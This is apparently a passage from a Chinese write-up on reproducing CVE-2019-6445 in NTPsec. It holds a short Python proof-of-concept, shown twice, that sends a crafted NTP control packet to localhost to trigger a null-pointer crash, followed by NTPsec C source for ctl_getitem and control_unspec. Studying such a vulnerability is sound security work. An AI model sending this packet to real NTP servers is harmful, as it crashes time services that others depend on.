怎样才算复现一个CVE？CVE-2019-6445 NTPsec逆向空指针利用

\#!/usr/bin/env python
 \# note this PoC exploit uses keyid 1, password: gurka
 
 import sys 
 import socket
 
 buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
     "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
     "\x56\xc8\x07\xd4")
 
 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 sock.sendto(buf, ('127.0.0.1', 123))

#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka
import sys 
import socket
 
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
     "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
     "\x56\xc8\x07\xd4")
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

/*
  \* ctl_getitem - get the next data item from the incoming packet
  */
 static const struct ctl_var *
 ctl_getitem(
   const struct ctl_var *var_list,
   char **data
 )
 {
   /* [Bug 3008] First check the packet data sanity, then search
 \* the key. This improves the consistency of result values: If
 \* the result is NULL once, it will never be EOV again for this
 \* packet; If it's EOV, it will never be NULL again until the
 \* variable is found and processed in a given 'var_list'. (That
 \* is, a result is returned that is neither NULL nor EOV).
 */
   static const struct ctl_var eol = { 0, EOV, NULL };
   static char buf[128];
   static u_long quiet_until;
   const struct ctl_var *v;
   char *cp;
   char *tp;
 
   /*
 \* Part One: Validate the packet state
 */
 
   /* Delete leading commas and white space */
   while (reqpt < reqend && (*reqpt == ',' ||
                isspace((unsigned char)*reqpt)))
     reqpt++;
   if (reqpt >= reqend)
     return NULL;
 
   /* Scan the string in the packet until we hit comma or
 \* EoB. Register position of first '=' on the fly. */
   for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
     if (*cp == '=' && tp == NULL)
       tp = cp;
     if (*cp == ',')
       break;
   }
 
   /* Process payload, if any. */
   *data = NULL;
   if (NULL != tp) {
     /* eventually strip white space from argument. */
     const char *plhead = tp + 1; /* skip the '=' */
     const char *pltail = cp;
     size_t   plsize;
 
     while (plhead != pltail && isspace((u_char)plhead[0]))
       ++plhead;
     while (plhead != pltail && isspace((u_char)pltail[-1]))
       --pltail;
 
     /* check payload size, terminate packet on overflow */
     plsize = (size_t)(pltail - plhead);
     if (plsize >= sizeof(buf))
       goto badpacket;
 
     /* copy data, NUL terminate, and set result data ptr */
     memcpy(buf, plhead, plsize);
     buf[plsize] = '\0';
     *data = buf;
   } else {
     /* no payload, current end --> current name termination */
     tp = cp;
   }
 
   /* Part Two
 *
 \* Now we're sure that the packet data itself is sane. Scan the
 \* list now. Make sure a NULL list is properly treated by
 \* returning a synthetic End-Of-Values record. We must not
 \* return NULL pointers after this point, or the behaviour would
 \* become inconsistent if called several times with different
 \* variable lists after an EoV was returned. (Such a behavior
 \* actually caused Bug 3008.)
 */
 
   if (NULL == var_list)
     return &eol;
 
   for (v = var_list; !(EOV & v->flags); ++v)
     if (!(PADDING & v->flags)) {
       /* Check if the var name matches the buffer. The
 \* name is bracketed by [reqpt..tp] and not NUL
 \* terminated, and it contains no '=' char. The
 \* lookup value IS NUL-terminated but might
 \* include a '='... We have to look out for
 \* that!
 */
       const char *sp1 = reqpt;
       const char *sp2 = v->text;
 
       /* [Bug 3412] do not compare past NUL byte in name */
       while (  (sp1 != tp)
           && ('\0' != *sp2) && (*sp1 == *sp2)) {
         ++sp1;
         ++sp2;
       }
       if (sp1 == tp && (*sp2 == '\0' || *sp2 == '='))
         break;
     }
 
   /* See if we have found a valid entry or not. If found, advance
 \* the request pointer for the next round; if not, clear the
 \* data pointer so we have no dangling garbage here.
 */
   if (EOV & v->flags)
     *data = NULL;
   else
     reqpt = cp + (cp != reqend);
   return v;
 
   badpacket:
   /*TODO? somehow indicate this packet was bad, apart from syslog? */
   numctlbadpkts++;
   NLOG(NLOG_SYSEVENT)
     if (quiet_until <= current_time) {
       quiet_until = current_time + 300;
       msyslog(LOG_WARNING,
           "Possible 'ntpdx' exploit from %s#%" PRIu16 " (possibly spoofed)",
           socktoa(rmt_addr), SRCPORT(rmt_addr));
     }
   reqpt = reqend; /* never again for this packet! */
   return NULL;
 }
 
 
 /*
  \* control_unspec - response to an unspecified op-code
  */
 /*ARGSUSED*/
 static void
 control_unspec(
   struct recvbuf *rbufp,
   int restrict_mask
 )
 {
   struct peer *peer;
 
   UNUSED_ARG(rbufp);
   UNUSED_ARG(restrict_mask);
 
   /*
 \* What is an appropriate response to an unspecified op-code?
 \* I return no errors and no data, unless a specified association
 \* doesn't exist.
 */
   if (res_associd) {
     peer = findpeerbyassoc(res_associd);
     if (NULL == peer) {
       ctl_error(CERR_BADASSOC);
        return;
     }
     rpkt.status = htons(ctlpeerstatus(peer));
   } else
     rpkt.status = htons(ctlsysstatus());
   ctl_flushpkt(0);
 }